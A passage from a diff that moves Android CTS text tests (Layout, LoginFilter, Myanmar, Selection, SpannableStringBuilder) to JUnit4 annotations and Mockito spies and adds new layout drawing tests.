     public void testGetSpacingMultiplier() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, -1, mSpacingadd);
-        assertEquals(-1.0f, layout.getSpacingMultiplier());
+        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, -1, mSpacingAdd);
+        assertEquals(-1.0f, layout.getSpacingMultiplier(), 0.0f);
 
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, 5, mSpacingadd);
-        assertEquals(5.0f, layout.getSpacingMultiplier());
+        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, 5, mSpacingAdd);
+        assertEquals(5.0f, layout.getSpacingMultiplier(), 0.0f);
     }
 
+    @Test
     public void testGetSpacingAdd() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingmult, -1);
-        assertEquals(-1.0f, layout.getSpacingAdd());
+        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, -1);
+        assertEquals(-1.0f, layout.getSpacingAdd(), 0.0f);
 
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingmult, 20);
-        assertEquals(20.0f, layout.getSpacingAdd());
+        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, 20);
+        assertEquals(20.0f, layout.getSpacingAdd(), 0.0f);
     }
 
+    @Test
     public void testGetLineBounds() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         Rect bounds = new Rect();
 
         assertEquals(32, layout.getLineBounds(2, bounds));
@@ -161,33 +191,37 @@
         assertEquals(36, bounds.bottom);
     }
 
+    @Test
     public void testGetLineForVertical() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(0, layout.getLineForVertical(-1));
         assertEquals(0, layout.getLineForVertical(0));
         assertEquals(0, layout.getLineForVertical(LINE_COUNT));
         assertEquals(LINE_COUNT - 1, layout.getLineForVertical(1000));
     }
 
+    @Test
     public void testGetLineForOffset() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(0, layout.getLineForOffset(-1));
         assertEquals(1, layout.getLineForOffset(1));
         assertEquals(LINE_COUNT - 1, layout.getLineForOffset(LINE_COUNT - 1));
         assertEquals(LINE_COUNT - 1, layout.getLineForOffset(1000));
     }
 
+    @Test
     public void testGetLineEnd() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(2, layout.getLineEnd(1));
     }
 
+    @Test
     public void testGetLineVisibleEnd() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
 
         assertEquals(2, layout.getLineVisibleEnd(1));
         assertEquals(LINE_COUNT, layout.getLineVisibleEnd(LINE_COUNT - 1));
@@ -199,59 +233,67 @@
         }
     }
 
+    @Test
     public void testGetLineBottom() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(LINE_HEIGHT, layout.getLineBottom(0));
     }
 
+    @Test
     public void testGetLineBaseline() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(8, layout.getLineBaseline(0));
     }
 
+    @Test
     public void testGetLineAscent() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(-8, layout.getLineAscent(0));
     }
 
+    @Test
     public void testGetParagraphAlignment() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertSame(mAlign, layout.getParagraphAlignment(0));
 
         layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertSame(mAlign, layout.getParagraphAlignment(0));
         assertSame(mAlign, layout.getParagraphAlignment(1));
     }
 
+    @Test
     public void testGetParagraphLeft() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(0, layout.getParagraphLeft(0));
     }
 
+    @Test
     public void testGetParagraphRight() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(mWidth, layout.getParagraphRight(0));
     }
 
+    @Test
     public void testIsSpanned() {
         MockLayout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         // default is not spanned text
         assertFalse(layout.mockIsSpanned());
 
         // try to create a spanned text
         layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertTrue(layout.mockIsSpanned());
     }
 
+    @Test
     public void testGetDesiredWidthRange() {
         CharSequence textShort = "test";
         CharSequence textLonger = "test\ngetDesiredWidth";
@@ -264,10 +306,11 @@
         float widthZero = Layout.getDesiredWidth(textLonger, 5, textShort.length() - 3, paint);
         assertTrue(widthLonger > widthShort);
         assertTrue(widthLongest > widthLonger);
-        assertEquals(0f, widthZero);
+        assertEquals(0f, widthZero, 0.0f);
         assertTrue(widthShort > widthPartShort);
     }
 
+    @Test
     public void testGetDesiredWidth() {
         CharSequence textShort = "test";
         CharSequence textLonger = "test\ngetDesiredWidth";
@@ -280,7 +323,7 @@
         assertTrue(widthLongest > widthLonger);
     }
 
-    private final class MockLayout extends Layout {
+    private static final class MockLayout extends Layout {
         public MockLayout(CharSequence text, TextPaint paint, int width,
                 Alignment align, float spacingmult, float spacingadd) {
             super(text, paint, width, align, spacingmult, spacingadd);
@@ -322,7 +365,7 @@
 
         @Override
         public Directions getLineDirections(int line) {
-            return null;
+            return Layout.DIRS_ALL_LEFT_TO_RIGHT;
         }
 
         @Override
@@ -351,4 +394,109 @@
             return 0;
         }
     }
+
+    @Test
+    public void testGetLineWidth() {
+        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
+                mAlign, mSpacingMult, mSpacingAdd);
+        for (int i = 0; i < LINE_COUNT; i++) {
+            int start = layout.getLineStart(i);
+            int end = layout.getLineEnd(i);
+            String text = LAYOUT_TEXT.toString().substring(start, end);
+            assertEquals(mTextPaint.measureText(text), layout.getLineWidth(i), 1.0f);
+        }
+    }
+
+    @Test
+    public void testGetCursorPath() {
+        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
+                mAlign, mSpacingMult, mSpacingAdd);
+        Path path = new Path();
+        final float epsilon = 1.0f;
+        for (int i = 0; i < LINE_COUNT; i++) {
+            layout.getCursorPath(i, path, LAYOUT_TEXT);
+            RectF bounds = new RectF();
+            path.computeBounds(bounds, false);
+            assertTrue(bounds.top >= layout.getLineTop(i) - epsilon);
+            assertTrue(bounds.bottom <= layout.getLineBottom(i) + epsilon);
+        }
+    }
+
+    @Test
+    public void testDraw() {
+        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
+                mAlign, mSpacingMult, mSpacingAdd);
+        final int width = 256;
+        final int height = 256;
+        MockCanvas c = new MockCanvas(width, height);
+        layout.draw(c);
+        List<MockCanvas.DrawCommand> drawCommands = c.getDrawCommands();
+        assertEquals(LINE_COUNT, drawCommands.size());
+        for (int i = 0; i < LINE_COUNT; i++) {
+            MockCanvas.DrawCommand drawCommand = drawCommands.get(i);
+            int start = layout.getLineStart(i);
+            int end = layout.getLineEnd(i);
+            assertEquals(LAYOUT_TEXT.toString().substring(start, end), drawCommand.text);
+            float expected_y = (i + 1) * LINE_HEIGHT - LINE_DESCENT;
+            assertEquals(expected_y, drawCommand.y, 0.0f);
+        }
+    }
+
+    private final class MockCanvas extends Canvas {
+
+        class DrawCommand {
+            final String text;
+            final float x;
+            final float y;
+
+            DrawCommand(String text, float x, float y) {
+                this.text = text;
+                this.x = x;
+                this.y = y;
+            }
+        }
+
+        List<DrawCommand> mDrawCommands;
+
+        public MockCanvas(int width, int height) {
+            super();
+            mDrawCommands = new ArrayList<>();
+            Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+            setBitmap(bitmap);
+        }
+
+        // Drawing text with either drawText or drawTextRun is valid; we don't care which.
+        // We also don't care which of the string representations is used.
+
+        @Override
+        public void drawText(String text, int start, int end, float x, float y, Paint p) {
+            mDrawCommands.add(new DrawCommand(text.substring(start, end), x, y));
+        }
+
+        @Override
+        public void drawText(CharSequence text, int start, int end, float x, float y, Paint p) {
+            drawText(text.toString(), start, end, x, y, p);
+        }
+
+        @Override
+        public void drawText(char[] text, int index, int count, float x, float y, Paint p) {
+            mDrawCommands.add(new DrawCommand(new String(text, index, count), x, y));
+        }
+
+        @Override
+        public void drawTextRun(CharSequence text, int start, int end, int contextStart,
+                int contextEnd, float x, float y, boolean isRtl, Paint paint) {
+            drawText(text, start, end, x, y, paint);
+        }
+
+        @Override
+        public void drawTextRun(char[] text, int index, int count, int contextIndex,
+                int contextCount, float x, float y, boolean isRtl, Paint paint) {
+            drawText(text, index, count, x, y, paint);
+        }
+
+        List<DrawCommand> getDrawCommands() {
+            return mDrawCommands;
+        }
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/LoginFilterTest.java b/tests/tests/text/src/android/text/cts/LoginFilterTest.java
index 76f5d04..855823a 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilterTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilterTest.java
@@ -16,72 +16,85 @@
 
 package android.text.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.anyChar;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter;
+import android.text.LoginFilter.UsernameFilterGeneric;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.SpannedString;
 
-public class LoginFilterTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LoginFilterTest {
+    @Test
     public void testFilter() {
         CharSequence result;
-        MockLoginFilter loginFilter = new MockLoginFilter();
+        LoginFilter loginFilter = spy(new UsernameFilterGeneric());
         Spanned dest1 = new SpannedString("dest_without_invalid_char");
         Spanned dest2 = new SpannedString("&*dest_with_invalid_char#$");
         String source1 = "source_without_invalid_char";
         String source2 = "+=source_with_invalid_char%!";
         Spanned spannedSource = new SpannedString("&*spanned_source_with_invalid_char#$");
 
-        assertFalse(loginFilter.isStarted());
-        assertFalse(loginFilter.isStopped());
-        assertEquals(0, loginFilter.getInvalidCharacterCount());
+        verify(loginFilter, never()).onStart();
+        verify(loginFilter, never()).onStop();
+        verify(loginFilter, never()).onInvalidCharacter(anyChar());
 
         assertNull(loginFilter.filter(source1, 0, source1.length(), dest1, 0, dest1.length()));
-        assertTrue(loginFilter.isStarted());
-        assertTrue(loginFilter.isStopped());
-        assertEquals(0, loginFilter.getInvalidCharacterCount());
+        verify(loginFilter, times(1)).onStart();
+        verify(loginFilter, times(1)).onStop();
+        verify(loginFilter, never()).onInvalidCharacter(anyChar());
 
-        loginFilter.reset();
+        reset(loginFilter);
         assertNull(loginFilter.filter(source1, 0, source1.length(), dest2, 5, 6));
-        assertTrue(loginFilter.isStarted());
-        assertTrue(loginFilter.isStopped());
-        assertEquals(4, loginFilter.getInvalidCharacterCount());
+        verify(loginFilter, times(1)).onStart();
+        verify(loginFilter, times(1)).onStop();
+        verify(loginFilter, times(4)).onInvalidCharacter(anyChar());
 
-        loginFilter = new MockLoginFilter(true);
+        loginFilter = spy(new UsernameFilterGeneric(true));
         assertNull(loginFilter.filter(source2, 0, source2.length(),
                 dest1, 0, dest1.length()));
-        assertTrue(loginFilter.isStarted());
-        assertTrue(loginFilter.isStopped());
-        assertEquals(3, loginFilter.getInvalidCharacterCount());
+        verify(loginFilter, times(1)).onStart();
+        verify(loginFilter, times(1)).onStop();
+        verify(loginFilter, times(3)).onInvalidCharacter(anyChar());
 
-        loginFilter.reset();
+        reset(loginFilter);
         assertNull(loginFilter.filter(spannedSource, 0, spannedSource.length(),
                 dest1, 0, dest1.length()));
-        assertTrue(loginFilter.isStarted());
-        assertTrue(loginFilter.isStopped());
-        assertEquals(4, loginFilter.getInvalidCharacterCount());
+        verify(loginFilter, times(1)).onStart();
+        verify(loginFilter, times(1)).onStop();
+        verify(loginFilter, times(4)).onInvalidCharacter(anyChar());
 
-        loginFilter = new MockLoginFilter(false);
+        loginFilter = spy(new UsernameFilterGeneric(false));
         result = loginFilter.filter(source2, 0, source2.length(), dest1, 0, dest1.length());
         assertFalse(result instanceof SpannableString);
         assertEquals("+source_with_invalid_char", result.toString());
-        assertTrue(loginFilter.isStarted());
-        assertTrue(loginFilter.isStopped());
-        assertEquals(3, loginFilter.getInvalidCharacterCount());
+        verify(loginFilter, times(1)).onStart();
+        verify(loginFilter, times(1)).onStop();
+        verify(loginFilter, times(3)).onInvalidCharacter(anyChar());
 
-        loginFilter.reset();
+        reset(loginFilter);
         result = loginFilter.filter(spannedSource, 0, spannedSource.length(),
                 dest1, 0, dest1.length());
         assertEquals("spanned_source_with_invalid_char", result.toString());
-        assertTrue(loginFilter.isStarted());
-        assertTrue(loginFilter.isStopped());
-        assertEquals(4, loginFilter.getInvalidCharacterCount());
+        verify(loginFilter, times(1)).onStart();
+        verify(loginFilter, times(1)).onStop();
+        verify(loginFilter, times(4)).onInvalidCharacter(anyChar());
 
         try {
             loginFilter.filter(null, 0, source1.length(), dest1, 0, dest1.length());
@@ -116,72 +129,25 @@
 
     // This method does nothing. we only test onInvalidCharacter function here,
     // the callback should be tested in testFilter()
+    @Test
     public void testOnInvalidCharacter() {
-        LoginFilter loginFilter = new MockLoginFilter();
+        LoginFilter loginFilter = new UsernameFilterGeneric();
         loginFilter.onInvalidCharacter('a');
     }
 
     // This method does nothing. we only test onStop function here,
     // the callback should be tested in testFilter()
+    @Test
     public void testOnStop() {
-        LoginFilter loginFilter = new MockLoginFilter();
+        LoginFilter loginFilter = new UsernameFilterGeneric();
         loginFilter.onStop();
     }
 
     // This method does nothing. we only test onStart function here,
     // the callback should be tested in testFilter()
+    @Test
     public void testOnStart() {
-        LoginFilter loginFilter = new LoginFilter.UsernameFilterGeneric();
+        LoginFilter loginFilter = new UsernameFilterGeneric();
         loginFilter.onStart();
     }
-
-    private final class MockLoginFilter extends LoginFilter.UsernameFilterGeneric {
-        private int mInvalidCharacterCount;
-        private boolean mIsStarted = false;
-        private boolean mIsStopped = false;
-
-        public MockLoginFilter() {
-            super();
-        }
-
-        public MockLoginFilter(boolean appendInvalid) {
-            super(appendInvalid);
-        }
-
-        @Override
-        public void onInvalidCharacter(char c) {
-            mInvalidCharacterCount++;
-            super.onInvalidCharacter(c);
-        }
-
-        public int getInvalidCharacterCount() {
-            return mInvalidCharacterCount;
-        }
-
-        @Override
-        public void onStart() {
-            mIsStarted = true;
-            super.onStart();
-        }
-
-        public boolean isStarted() {
-            return mIsStarted;
-        }
-
-        @Override
-        public void onStop() {
-            mIsStopped = true;
-            super.onStop();
-        }
-
-        public boolean isStopped() {
-            return mIsStopped;
-        }
-
-        public void reset() {
-            mInvalidCharacterCount = 0;
-            mIsStarted = false;
-            mIsStopped = false;
-        }
-    }
 }
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
index ec567c3..1f02481 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
@@ -16,19 +16,27 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter.PasswordFilterGMail;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class LoginFilter_PasswordFilterGMailTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LoginFilter_PasswordFilterGMailTest {
+    @Test
     public void testConstructor() {
         new PasswordFilterGMail();
         new PasswordFilterGMail(true);
         new PasswordFilterGMail(false);
     }
 
+    @Test
     public void testIsAllowed() {
         PasswordFilterGMail passwordFilterGMail = new PasswordFilterGMail();
 
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
index 90cc097..fd196b8 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
@@ -16,18 +16,27 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter.UsernameFilterGMail;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class LoginFilter_UsernameFilterGMailTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LoginFilter_UsernameFilterGMailTest {
+    @Test
     public void testConstructor() {
         new UsernameFilterGMail();
         new UsernameFilterGMail(true);
         new UsernameFilterGMail(false);
     }
 
+    @Test
     public void testIsAllowed() {
         UsernameFilterGMail usernameFilterGMail = new UsernameFilterGMail();
 
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
index f9043ee..68cc840 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
@@ -16,19 +16,27 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.LoginFilter.UsernameFilterGeneric;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class LoginFilter_UsernameFilterGenericTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LoginFilter_UsernameFilterGenericTest {
+    @Test
     public void testConstructor() {
         new UsernameFilterGeneric();
         new UsernameFilterGeneric(true);
         new UsernameFilterGeneric(false);
     }
 
+    @Test
     public void testIsAllowed() {
         UsernameFilterGeneric usernameFilterGeneric = new UsernameFilterGeneric();
 
diff --git a/tests/tests/text/src/android/text/cts/MyanmarTest.java b/tests/tests/text/src/android/text/cts/MyanmarTest.java
index 9988ab9..8a71adb 100644
--- a/tests/tests/text/src/android/text/cts/MyanmarTest.java
+++ b/tests/tests/text/src/android/text/cts/MyanmarTest.java
@@ -16,41 +16,40 @@
 
 package android.text.cts;
 
-import android.app.Activity;
+import static org.junit.Assert.assertTrue;
+
 import android.content.Context;
 import android.graphics.Bitmap;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.TextView;
 
-public class MyanmarTest extends ActivityInstrumentationTestCase2<Activity> {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    public MyanmarTest() {
-        super("android.text.cts", Activity.class);
-    }
-
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MyanmarTest {
     /**
      * Tests Unicode composition semantics.
      */
+    @UiThreadTest
+    @Test
     public void testCompositionSemantics() {
+        Context context = InstrumentationRegistry.getTargetContext();
         String textA = "\u1019\u102d\u102f";
         String textB = "\u1019\u102f\u102d"; // wrong order for Unicode
 
-        CaptureTextView cviewA = new CaptureTextView(getInstrumentation().getContext());
+        CaptureTextView cviewA = new CaptureTextView(context);
         Bitmap bitmapA = cviewA.capture(textA);
-        CaptureTextView cviewB = new CaptureTextView(getInstrumentation().getContext());
+        CaptureTextView cviewB = new CaptureTextView(context);
         Bitmap bitmapB = cviewB.capture(textB);
         if (bitmapA.sameAs(bitmapB)) {
             // if textA and textB render identically, test against replacement characters
             String textC = "\ufffd\ufffd\ufffd"; // replacement characters are acceptable
-            CaptureTextView cviewC = new CaptureTextView(getInstrumentation().getContext());
+            CaptureTextView cviewC = new CaptureTextView(context);
             Bitmap bitmapC = cviewC.capture(textC);
             if (!bitmapA.sameAs(bitmapC)) {
                 // ...or against blank/empty glyphs
@@ -61,7 +60,7 @@
         }
     }
 
-    private class CaptureTextView extends TextView {
+    private static class CaptureTextView extends TextView {
 
         CaptureTextView(Context context) {
             super(context);
diff --git a/tests/tests/text/src/android/text/cts/SelectionTest.java b/tests/tests/text/src/android/text/cts/SelectionTest.java
index 4946a50..f920bda 100644
--- a/tests/tests/text/src/android/text/cts/SelectionTest.java
+++ b/tests/tests/text/src/android/text/cts/SelectionTest.java
@@ -16,14 +16,25 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Selection;
 import android.text.SpannableStringBuilder;
 import android.text.StaticLayout;
 import android.text.TextPaint;
 
-public class SelectionTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SelectionTest {
+    @Test
     public void testGetSelectionStart() {
         CharSequence text = "hello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -41,6 +52,7 @@
         assertEquals(-1, Selection.getSelectionStart(null));
     }
 
+    @Test
     public void testGetSelectionEnd() {
         CharSequence text = "hello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -58,6 +70,7 @@
         assertEquals(-1, Selection.getSelectionStart(null));
     }
 
+    @Test
     public void testSetSelection1() {
         CharSequence text = "hello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -87,6 +100,7 @@
         }
     }
 
+    @Test
     public void testSetSelection2() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello, world");
         assertEquals(-1, Selection.getSelectionStart(builder));
@@ -113,6 +127,7 @@
         }
     }
 
+    @Test
     public void testRemoveSelection() {
         CharSequence text = "hello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -132,6 +147,7 @@
         assertEquals(-1, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testSelectAll() {
         CharSequence text = "hello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -158,6 +174,7 @@
         assertEquals(0, Selection.getSelectionEnd(empty));
     }
 
+    @Test
     public void testMoveLeft() {
         CharSequence text = "hello\nworld";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -185,6 +202,7 @@
         assertEquals(0, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testMoveRight() {
         CharSequence text = "hello\nworld";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -216,6 +234,7 @@
         assertEquals(text.length(), Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testMoveUp() {
         CharSequence text = "Google\nhello,world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -255,6 +274,7 @@
         assertEquals(0, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testMoveDown() {
         CharSequence text = "hello,world\nGoogle";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -292,6 +312,7 @@
         assertEquals(18, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testExtendSelection() {
         CharSequence text = "hello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -338,6 +359,7 @@
         }
     }
 
+    @Test
     public void testExtendLeft() {
         CharSequence text = "Google\nhello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -364,6 +386,7 @@
         assertEquals(0, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testExtendRight() {
         CharSequence text = "Google\nhello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -386,6 +409,7 @@
         assertEquals(text.length(), Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testExtendUp() {
         CharSequence text = "Google\nhello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -416,6 +440,7 @@
         assertEquals(0, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testExtendDown() {
         CharSequence text = "Google\nhello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -437,6 +462,7 @@
         assertEquals(text.length(), Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testExtendToLeftEdge() {
         CharSequence text = "hello\nworld";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -472,6 +498,7 @@
         assertEquals(0, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testExtendToRightEdge() {
         CharSequence text = "hello\nworld";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -498,6 +525,7 @@
         assertEquals(text.length(), Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testMoveToLeftEdge() {
         CharSequence text = "hello\nworld";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -529,6 +557,7 @@
         assertEquals(0, Selection.getSelectionEnd(builder));
     }
 
+    @Test
     public void testMoveToRightEdge() {
         CharSequence text = "hello\nworld";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
index 14bcc8e..dfabe71 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
@@ -16,30 +16,43 @@
 
 package android.text.cts;
 
-import java.util.ArrayList;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
+import android.text.Layout;
 import android.text.SpanWatcher;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
 import android.text.Spanned;
+import android.text.method.SingleLineTransformationMethod;
+import android.text.method.TransformationMethod;
+import android.text.style.AlignmentSpan;
 import android.text.style.ParagraphStyle;
 import android.text.style.QuoteSpan;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
 /**
  * Test {@link SpannableStringBuilder}.
  */
-public class SpannableStringBuilderSpanTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SpannableStringBuilderSpanTest {
     private static final boolean DEBUG = false;
 
     private SpanSet mSpanSet = new SpanSet();
     private SpanSet mReplacementSpanSet = new SpanSet();
     private int testCounter;
 
+    @Test
     public void testReplaceWithSpans() {
         testCounter = 0;
         String originals[] = { "", "A", "here", "Well, hello there" };
@@ -116,13 +129,13 @@
 
         assertEquals(expected, originalSpannable.toString());
 
-        checkSpanPositions(originalSpannable, replaceStart, replaceEnd, subReplacement.length(),
+        verifySpanPositions(originalSpannable, replaceStart, replaceEnd, subReplacement.length(),
                 flag);
-        checkReplacementSpanPositions(originalSpannable, replaceStart, replacementSpannable,
+        verifyReplacementSpanPositions(originalSpannable, replaceStart, replacementSpannable,
                 replacementStart, replacementEnd, flag);
     }
 
-    private void checkSpanPositions(Spannable spannable, int replaceStart, int replaceEnd,
+    private void verifySpanPositions(Spannable spannable, int replaceStart, int replaceEnd,
             int replacementLength, int flag) {
         int count = 0;
         int replacedLength = replaceEnd - replaceStart;
@@ -154,7 +167,7 @@
